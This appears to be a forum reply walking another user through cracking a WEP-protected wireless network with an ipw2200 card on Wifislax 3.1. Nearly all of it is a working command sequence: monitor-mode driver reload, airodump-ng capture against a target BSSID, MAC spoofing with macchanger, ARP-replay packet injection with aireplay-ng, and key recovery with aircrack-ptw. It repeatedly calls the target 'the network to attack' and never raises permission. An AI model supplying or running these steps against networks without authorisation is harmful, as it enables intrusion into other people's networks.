Mav,
I was having kind of the same problem that you have right now, but after several tries I was able to have the ipw2200 working with wifislax3.1.
I have noticed that you are using 2.0?? If you are, that might be your problem, because the commands are probably a bit different, try using 3.1.
I also followed dudux's video with no luck. The following steps are the ones that I follow everytime, and it works just fine:
SHELL 1
rmmod ipw2200
modprobe ipw2200 rtap_iface=1
airodump-ng rtap0 (**Stop the search [CTRL+C] or close the Shell**)
airodump-ng -c CH -b 00:AA:BB:CC:DD:11 -w ARCHIVE rtap0**Where**
-->CH is the channel of the network to attack
-->00:AA:BB:CC:DD:11 is the MAC address of the network to attack
-->ARCHIVE is the file where the packets will be saved, you can use whatever name you like
SHELL 2
macchanger --m=00:11:22:33:44:55 eth1-->In my case I have eth0, so if I make a mistake and type eth0 somewhere in here, remember that you use a different one and replace it when you try it.

Just to give a heads up
iwconfig eth1 essid "WIRELESS" key 111111111111 channel CH--> WIRELESS is the name of the network, you may use quotations here if you like.
-->CH channel of the network to attack
aireplay-ng -3 -x 1024 -g 1000000 -b 00:AA:BB:CC:DD:11 -h 00:11:22:33:44:55 -i rtap0 eth1SHELL 3
ls-->This will retrieve the file name you saved earlier in which replies are stored, just in case you forgot how you named it. This is not needed and can be bypassed.
aircrack-ptw ARCHIVE-01.cap-->I've found that sometimes it saves more than one file, so, you'll have to use the latest (-06.cap or -09.cap ...)
I really hope this helps you,
